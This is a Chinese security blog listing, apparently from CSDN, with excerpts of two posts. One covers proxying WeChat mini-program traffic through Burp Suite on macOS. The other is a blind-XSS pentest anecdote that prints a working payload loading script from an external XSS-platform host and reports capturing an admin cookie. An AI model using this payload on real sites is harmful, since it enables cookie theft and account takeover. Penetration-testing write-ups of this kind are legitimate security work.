![](https://img-blog.csdnimg.cn/20191101105636231.jpg?x-oss-process=image/resize,m_fixed,h_224,w_224)
web渗透
召唤大白
奇妙的知识又增加啦。。。
展开
-
mac下配置burpsuite小程序抓包
下载最新版微信或使用内测版(https://dldir1.qq.com/weixin/mac/WeChatMac_Beta.dmg),这两个微信版本均可打开小程序。1.打开burpsuite,导出证书,命名ca.der2.证书导入mac打开钥匙串访问.app,在证书处导入ca.der文件,并设为信任注意要在右键<显示简介里面设置信任3.设置代理服务器在网络偏好设置里面4.微信代理设置最后测试成功!...原创 2021-03-10 18:55:37 · 3042 阅读 · 0 评论 -
某次日常xss盲打
今天接到个渗透测试的活,基本上就是静态站,本来也不报啥希望了,扫了一圈整个站就一个留言功能,根据经验一般留言就是在标签里,所以右键查看下元素,确定留言内容确实在里面,随手一个xss盲打未拦截,成功提交留言。盲打使用的xss平台的默认模块Payload:ccc”</tExtArEa><sCRiPt sRC=https://xss8.cc/CnQ6></sCrIpT><textarea>快下班时意外收到了弹回来的cookie,并且定位到了该站后台地址如下图,原创 2021-03-09 17:18:42 · 304 阅读 · 0 评论